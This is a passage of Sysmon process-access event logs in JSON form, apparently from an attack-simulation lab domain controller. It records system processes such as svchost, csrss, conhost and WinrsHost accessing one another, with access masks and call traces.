11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5617,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.728\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.728","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5618,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.728\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.728","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5619,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.728\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.728","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5620,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.728\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.728","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5621,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.728\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.728","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5622,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.728\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4171-5F2D-0000-0010F97D0800}\r\nTargetProcessId: 3292\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.728","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4171-5F2D-0000-0010F97D0800}","TargetProcessId":"3292","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5623,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.744\r\nSourceProcessGUID: {90617006-4171-5F2D-0000-0010F97D0800}\r\nSourceProcessId: 3292\r\nSourceThreadId: 4700\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4171-5F2D-0000-0010707D0800}\r\nTargetProcessId: 3144\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.744","SourceProcessGUID":"{90617006-4171-5F2D-0000-0010F97D0800}","SourceProcessId":"3292","SourceThreadId":"4700","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4171-5F2D-0000-0010707D0800}","TargetProcessId":"3144","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5624,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.760\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4171-5F2D-0000-0010707D0800}\r\nTargetProcessId: 3144\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.760","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4171-5F2D-0000-0010707D0800}","TargetProcessId":"3144","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5625,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.760\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nSourceProcessId: 1368\r\nSourceThreadId: 3912\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4171-5F2D-0000-0010707D0800}\r\nTargetProcessId: 3144\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\winrscmd.dll+8d36|C:\\Windows\\system32\\winrscmd.dll+92d5|C:\\Windows\\system32\\winrscmd.dll+af31|C:\\Windows\\system32\\winrscmd.dll+23dc|c:\\windows\\system32\\wsmsvc.dll+155ac7|c:\\windows\\system32\\wsmsvc.dll+13f76d|c:\\windows\\system32\\wsmsvc.dll+13f3cf|c:\\windows\\system32\\wsmsvc.dll+13fcb2|c:\\windows\\system32\\wsmsvc.dll+9ab10|c:\\windows\\system32\\wsmsvc.dll+9b611|c:\\windows\\system32\\wsmsvc.dll+4495|c:\\windows\\system32\\wsmsvc.dll+16816c|c:\\windows\\system32\\wsmsvc.dll+1689b8|c:\\windows\\system32\\wsmsvc.dll+16345b|c:\\windows\\system32\\wsmsvc.dll+163125|c:\\windows\\system32\\wsmsvc.dll+14ce9c|c:\\windows\\system32\\wsmsvc.dll+130049|c:\\windows\\system32\\wsmsvc.dll+13571a|c:\\windows\\system32\\wsmsvc.dll+12f47e|c:\\windows\\system32\\wsmsvc.dll+125587|c:\\windows\\system32\\wsmsvc.dll+11f562|c:\\windows\\system32\\wsmsvc.dll+124574","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 